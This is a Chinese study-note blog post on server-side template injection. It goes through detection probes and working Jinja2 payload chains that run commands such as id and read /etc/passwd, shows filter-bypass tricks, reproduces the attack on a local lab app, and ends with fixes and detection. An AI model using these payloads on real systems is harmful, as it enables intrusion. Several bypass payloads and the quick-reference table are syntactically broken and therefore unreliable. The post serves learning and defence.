5月14号这天,我给自己安排了一次SSTI的专项复习。服务端模板注入,Server-Side Template Injection,这名字听起来唬人,但本质上就是攻击者把自己的输入当成了模板代码的一部分,让服务器在渲染模板时执行了不该执行的逻辑。花了一整天,把原理、探测、绕过、防御整个串了一遍,踩了几个坑,也把一些以前模棱两可的细节彻底弄清楚了。这篇就把我那天复习的过程和心得完整记录下来,给同样在啃Web安全的同学一份参考。
先说结论:SSTI之所以值得单独花一天复习,是因为它经常隐藏得很深,而且一旦打通,往往是直接拿到服务器权限的路径,严重程度不亚于反序列化。很多开发者知道SQL注入、知道XSS,但很少注意模板渲染这层,于是漏洞就这么被留下来了。
1. 从原理到现象:SSTI为什么会发生
1.1 模板引擎的工作方式
要理解SSTI,先得理解模板引擎本身。大多数Web框架都有模板系统,作用是让展示层和逻辑层分离。拿Python生态来说,Flask默认配Jinja2,Django内置自己的模板,PHP那边有Twig、Smarty,Java那边有Freemarker、Velocity、Thymeleaf。
模板文件中会有占位符,比如Jinja2里写{{ user.name }},渲染时会用真实变量替换掉它。这个机制本来是安全的,因为占位符里本应只放变量名或者简单表达式。但当开发者把用户的输入直接拼接到模板字符串里,或者用户可以控制模板的内容时,问题就出现了。
我复习时用了个最简单的类比:模板引擎就像一个翻译官,它把模板里的{{ x }}当成一句“把变量x的值填到这儿”,但如果有人塞进一句{{ x.__class__ }},翻译官照样会照做,因为从语法角度这只不过是一个更复杂的表达式。更进一步,__class__能拿到当前对象所在的类,有了类就能找基类、找子类、找__globals__,一路摸到系统命令执行的入口。这就是SSTI从“漏洞”升级为“命令执行”的核心链路。
1.2 漏洞诞生的两种典型场景
复习时我把SSTI的成因归纳成两种,后面做检测和修复都会用到。
一种是完全可控的模板内容,常见于“模板在线设计”“邮件模板编辑”“页面自定义”这类功能。应用允许用户上传来定义模板,但如果后台没有做权限隔离和沙箱,任何用户都能让模板引擎执行任意代码。这种情况漏洞级别最高,几乎没有门槛。
另一种最常发生在实际漏洞挖掘里,是部分可控的模板拼接。比如一个报错页面这么写:
return render_template_string("Hello " + request.args.get('name'))攻击者请求/?name={{config}},代码拼接后变成Hello {{config}},模板引擎就会去解析config变量。如果是Jinja2,{{config}}会输出Flask的配置信息,里面可能带着SECRET_KEY。这只是第一步,但足以确认SSTI的存在。
这两种场景有一个共通的判断标准:用户输入是否被当作模板语法解析了。如果输入里带{{ }}或{% %}等语法符号后,输出的内容发生了变化或者产生异常,那就是SSTI的典型信号。
2. 复习核心:探测与确认的完整流程
2.1 先做数学题:7乘7分胜负
我之前挖漏洞有个习惯,看见参数就先用{{7*7}}试一下。{{7*7}}在Jinja2里会输出49;如果是PHP的Twig,{{7*7}}也输出49;但如果在Freemarker里,写法是${7*7}。这一下就能区分是哪种引擎方向。
这一步看起来简单,但有几个细节会让新手翻车:
- 参数会被URL编码,
*要写成%2A,{要写成%7B。我那天复习时直接拿Burp Suite的Repeater发包,它会自动处理编码,省了很多事。 - 有些应用会在模板渲染前做过滤,比如只过滤了
config关键字,但7*7这类纯数字运算往往不被拦截,所以它是第一优先级的探测项。 - 如果返回结果里没有49而是直接报了500,也未必是没漏洞,有可能是模板语法报错被吞了。这时候就要看响应体的差异,甚至同时准备一个正常请求做对比。
我整理了一个快速区分引擎的表:
| 模板引擎 | 测试语法(能输出42) | 备注 |
|---|---|---|
| Jinja2 / Twig | {{7*6}} | 最常见,Python/PHP框架在用 |
| Freemarker | ${7*6} | Java体系,老系统里常碰到 |
| Velocity | #set($x=7*6)${x} | 老Java系统,语法特殊 |
| Smarty | {7*6} | PHP,有时要启用php标签 |
| Thymeleaf | [[${7*6}]]或th:text | Spring Boot场景常见 |
2.2 确认引擎之后,再验证目标对象
{{7*7}}输出49还不能百分之百说明能利用到命令执行,因为有些模板处于受限沙箱里。接下来要探测的是能不能访问到危险的敏感对象。
Jinja2环境里,我会依次试这几个:
{{ config }} # 看配置信息有没有回显 {{ self }} # 看当前模板对象 {{ self.__class__ }} # 看类对象 {{ ''.__class__ }} # 字符串对应的类 {{ ''.__class__.__mro__ }} # 查看继承链__mro__很重要,它列出当前类的所有基类。SSTI后续利用的核心思路就是:从某个对象的类出发,通过__mro__找到object基类,再从object的子类里找subclasses(),然后从中筛选出可以执行命令或者读取文件的类。用一句话概括就是——一切对象皆可遍历,一切类皆可获得。
如果上面某个请求返回了包含class信息的字典,那就说明沙箱限制很低,可以继续往下走。如果返回是空或者直接报错,那就是有过滤或者沙箱,需要转入绕过环节。
3. 实战分析:payload 构造思路与绕过技巧
3.1 从类到调用链:无过滤环境下的直达路径
复习SSTI时最爽的就是无过滤环境。Jinja2的一句话payload是这样的:
{{ ''.__class__.__mro__[1].__subclasses__() }}它把全站加载的所有类都列出来,可能有几百上千个。这里面就能找到subprocess.Popen或者os.system等可利用类。
我复习时更偏好方法一:先列出子类,再在结果里找名字。比如:
{{ ''.__class__.__mro__[1].__subclasses__() }}搜索Popen或者warnings.catch_warnings。如果一个都没有,那就用os相关的类。我记得有个老靶场环境里,os.system并不在子类列表,但能通过linecache相关类来辅助读取文件,也能绕。
能命令执行之后,我习惯先弹一个无害的结果回来验证,比如执行id命令:
{{ ''.__class__.__mro__[1].__subclasses__()[index].__init__.__globals__['os'].popen('id').read() }}其中index要替换成_popen等下标的数字位置。这一步真要把子类列表拉出来数位置,不能瞎猜。我那天复习时写了个本地脚本,直接把Jinja2环境里子类的下标和名字打印出来,省得手工数数。
3.2 常见过滤:关键字被ban了怎么办
实际靶场里很少让你舒舒服服地打。最常见的是过滤了__class__、__globals__、os、popen这些关键字。复习这天我重点练了三种思路:
第一种是字符串拼接绕过。比如过滤了popen,但可以用'po'+'pen'来构造。在Jinja2里,直接用加号连接字符串是允许的:
{{ ''.__class__.__mro__[1].__subclasses__()[index].__init__.__globals__['o'+'s'].popen('id').read() }}第二种是用attr过滤器代替点号访问。点号访问实际上就是取属性,所以当过滤了__符号时,可以用|attr过滤器:
{{ ''.__class__ }}等价于:
{{ ''.|attr('__class__') }}注意这里字符串'__class__'本身没有下划线过滤问题,如果下划线也被过滤,那就再用拼接:
{{ ''.|attr('__cl'+'ass__') }}结合起来就是:
{{ ''.|attr('__cl'+'ass__')|attr('__mr'+'o__') }}第三种是过滤器链试探。Jinja2内置了attr、join、format、map、select这些过滤器,组合起来能做掉大部分过滤。比如要读文件,可用open替代popen:
{{ config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read() }}如果os直接被ban,可以考虑用__import__('os')绕过,注意这个函数也是被过滤的备选项。
3.3 心里要有底线:不是每个SSTI都能RCE
复习到一半我特意提醒自己:别把SSTI想得太万能。有些模板引擎默认启用了安全配置,比如PHP的Twig在设了sandbox后用起来会很受限,Java的Freemarker因为模板机制不同,很多老版本里没有__subclasses__这种自省通道,要到达命令执行就得借助已有的静态类和方法。碰到这种场景,能做的事情可能仅限于读取一些应用变量,甚至只是泄露了框架版本号。能RCE是运气加环境的组合,不能RCE也要能给出完整的技术判断,这本身就是一个合格的测试交付物。
4. 实操记录:一次完整的复现演练
4.1 搭了个最小环境
为了复习这一天,我先搭了一个本地环境。用的工具是Flask加Jinja2,在虚拟环境里写了个极其简单的接口:
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/hello') def hello(): name = request.args.get('name', '') template = "<h1>Hello, " + name + "</h1>" return render_template_string(template) if __name__ == '__main__': app.run(debug=True, host='127.0.0.1', port=5000)这个代码漏洞明显到有点刻意,就是专门为了复现“字符串拼接模板”这种经典错误。跑起来后,先在浏览器里访问:
http://127.0.0.1:5000/hello?name=world页面输出了Hello, world。再访问:
http://127.0.0.1:5000/hello?name={{7*7}}页面变成了Hello, 49。SSTI实锤。
4.2 利用链完整打通
确认之后我开始尝试拿shell。用Burp Suite的Repeater一步步来:
第一步,先列子类:
GET /hello?name={{''.__class__.__mro__[1].__subclasses__()}} HTTP/1.1响应的body里出现了URL编码后的一长串类列表。这个列表太长了,我直接复制到本地Python脚本里解析,把下标和类名对应起来。
第二步,找subprocess.Popen的下标。我在我本地环境里它的顺序恰好是第 407 位,但不同环境必然不同,写脚本自动找位子才靠谱。脚本如下:
import importlib import jinja2 env = jinja2.Environment() # 模拟模板中的对象 obj = ''.__class__.__mro__[1] subclasses = obj.__subclasses__() for idx, cls in enumerate(subclasses): if 'Popen' in str(cls): print(idx, cls)第三步,构造最终payload:
{{ ''.__class__.__mro__[1].__subclasses__()[407].__init__.__globals__['os'].popen('id').read() }}但那天的环境里,这个Popen类的__globals__不一定有os这个变量名,要先用__globals__.keys()看一下。我记得调试时卡了好一会儿,最后发现需要用.get('os')来避免KeyError。最终能正常回显uid和gid,命令执行成功。
4.3 再向后延伸一步
拿到命令执行之后,我又试了读取文件。这次换了个思路,用linecache类直接读源码:
{{ ''.__class__.__mro__[1].__subclasses__()[xxx].__init__.__globals__['linecache'].getline('/etc/passwd', 1) }}Java环境里思路略有不同,但命令执行的思路是通用的。关键的点在于:从一个类出发,找到其__globals__,再在全局命名空间里找可用的模块和方法,实际上就是在攻击者的控制下复刻了一个“交互式Python解释器”的入口。
4.4 这一轮复习的现场心得
当天复现过程中有几点小体会:
- 模板字符串的报错信息非常重要。如果构造的语法有问题,某些开发模式下Flask会返回详细的traceback,这等于白送代码和源码路径。测试时看到大段的异常堆栈,别急着划走,先看模板代码片段。
- 编码问题经常毁掉payload。在URL里用
#有可能被当成锚点截断,要用%23编码。{{也建议直接编码传参,防止WAF或前置层解析。 - 每次请求都要观察响应之间的差异。有些过滤是直接返回400,有些是返回200但是内容里没有计算结果。学会看差异比死记payload更靠谱。
5. 从攻击回到防御:修复与检测方案复习
5.1 开发者最容易踩的坑
复习的最终目的是能给出修复建议,不然测试报告写了漏洞却很空洞。
最基础的修复,是先写一段错误代码再看正确写法:
错误写法:
return render_template_string("Hello " + name)正确写法:
return render_template_string("Hello {{ name }}", name=name)原理很简单:用户输入应该作为变量传递,而不是作为模板的一部分。只要不给模板解析器接触原始输入的机会,SSTI就少了一大半。
接下来是输入过滤和校验。作为纵深防御,哪怕采用了变量传参,也要对输入做白名单校验。比如只允许字母、数字、下划线、连字符,长度限制在几十个字符,那些{{、}}、${、<%等模板语法字符直接视为非法输入。白名单比黑名单靠谱,因为模板语法的变体太多。
再往下是最小权限和沙箱隔离。如果业务硬要实现模板自定义功能,那就必须把模板引擎放进受限沙箱里,关闭危险的内置函数和模块访问。Jinja2有SandboxedEnvironment,Twig有Sandbox Extension。但要注意,沙箱不是万能保险箱,历史上多款模板引擎的沙箱都被绕过过,所以最小权限原则要落到操作系统层面:运行Web服务的账号不就要有文件系统写权限,不应该能访问高价值的应用目录。
5.2 自动化检测的几个思路
检测SSTI的自动化思路,我复习到三条主路:
一条是静态代码审计。搜索代码里所有render_template_string这类函数调用,逐个看第一个参数是否包含外部可控数据,是否做了拼接。这个用常规的静态扫描工具+人工确认就能执行。
另一条是动态fuzz检测。构造一组带模板语法的请求,发送后比对响应。比如请求name={{7*7}},看页面源码里有没有“49”这个特征;再请求name={{'a'*10}},看有没有“aaaaaaaaaa”。发现匹配就说明模板被解析了。自动化扫描时要把这些特征组合在一个请求包里,而不是只测一次。
再一条是流量监控。在WAF层面对模板语法特征做正则拦截。虽然正则不一定能覆盖全部payload变体,但可以作为基线能力,拦截那些最基础的试探行为。重点是检测参数值中的{{、}}、${、#{等双字符组合。
5.3 修复后的验证方法
修复做完要回归验证。我最常用的验证方法是把之前成功的payload原样打一遍,确认返回不再是49,也不再出现traceback,而是被当作普通字符串输出。另外再把语法字符做URL编码后打一遍,防止修复点是“碰巧”拦截了明文。
我建议每个安全测试团队都准备一个小清单:对每个模板引擎,至少准备5~8条不同的探测payload,分布在算术、变量访问、过滤器调用、子类遍历四个方向。这几个方向的payload覆盖了SSTI利用的大部分路径,一旦某个方向回归失败,就能快速定位是哪层防护被绕过。
6. 复习中踩过的坑与速查卡片
6.1 值得记录的三个坑
第一个坑:类下标不是固定的。刚开始复现时,我直接搜索网上的exp,里面写死了一个下标,本机一测根本不通。原因很简单,不同框架版本、不同依赖、不同模板内容都会影响__subclasses__()列表的顺序。正确做法是自己先拉一次列表,再定位。拿经验数据盲打,很大概率白忙一趟。
第二个坑:筛选Popen的时候过滤不干净。我在脚本里直接判断'Popen' in str(cls),结果把好几个带了Popen字样的错误类也筛了出来,其中一些__init__并不是常规的。后来改为准确匹配"subprocess.Popen",才找到真正能用的那个。
第三个坑:把CSRF和SSTI混在一起了。某些带表单的应用在SSTI探测前还套了一层CSRF Token,导致每次请求都要先取Token,一开始没注意,一直报401。这个虽然和SSTI本身无关,但提醒我任何漏洞测试前都要先搞懂应用的请求流程,别一上来就闷头注payload。
6.2 我整理的一张速查表
| 目的 | 表达式 | 适用 |
|---|---|---|
| 算术探测 | {{7*7}} | Jinja2 / Twig,最先发 |
| 探测变量 | {{config}} | Jinja2 / Flask |
| 取当前类 | {{''.__class__}} | 通用Python模板 |
| 拿基类 | {{''.__class__.__mro__}} | 查看对象链 |
| 列全部子类 | {{''.__class__.__mro__[1].__subclasses__()}} | 经典利用前置 |
| 命令执行 | {{''.__class__.__mro__[1].__subclasses__()[id].__init__.__globals__['os'].popen('id').read()}} | 无沙箱环境 |
| 属性访问Filter | `{{'' | attr('class')}}` |
| 字符串拼接 | {{'po'+'pen'}} | 关键字被过滤时 |
6.3 后续还能怎么延展
复习完当天,我又额外思考了SSTI和其他漏洞的结合。比如SSTI配合存储型XSS:模板渲染结果会存入数据库再展示,这样每次页面加载都触发一次模板解析;再比如SSTI配合文件上传:攻击者上传一个包含模板表达式的文件名,只要后台渲染文件名,就有机会触发。这类组合在实际场景里并不少见,比单一SSTI更难防御,也更考验完整链路的评审能力。
如果要把这块继续吃透,我下一步打算把重心放在Java模板引擎的专项上,尤其是Freemarker和Thymeleaf在真实业务里的差异,还有PHP的Twig沙箱绕过细节。毕竟遇到SSTI的站点,不可能只会遇到Python写的。
最后说句实在话。5月14号这一整天的SSTI复习,带给我最大的收获不是记住多少条payload,而是把一条Hidden漏洞从“可疑参数”到“命令回显”乃至“修复闭环”的完整链路拉通了一遍。以前看SSTI总觉得它像玄学,要么找不到利用点,要么找到了exp却打不通。现在回头看,这门技术的核心规律就一句话:用户的输入一旦被放进模板语法里,就不再是数据,而是代码。你顺着这个思路去构造探测、去看回显、去绕过滤,其实是顺理成章的事。
如果你也在复习同类知识,建议别只盯着搜索引擎里的现成payload,花一点时间搞清楚__mro__和__subclasses__()到底做了什么,再对照自己本地的环境写一遍自动化脚本。把原理吃透之后,你会发现自己能推导出绝大部分payload,而不是死记硬背。这比收藏一万条exp都管用。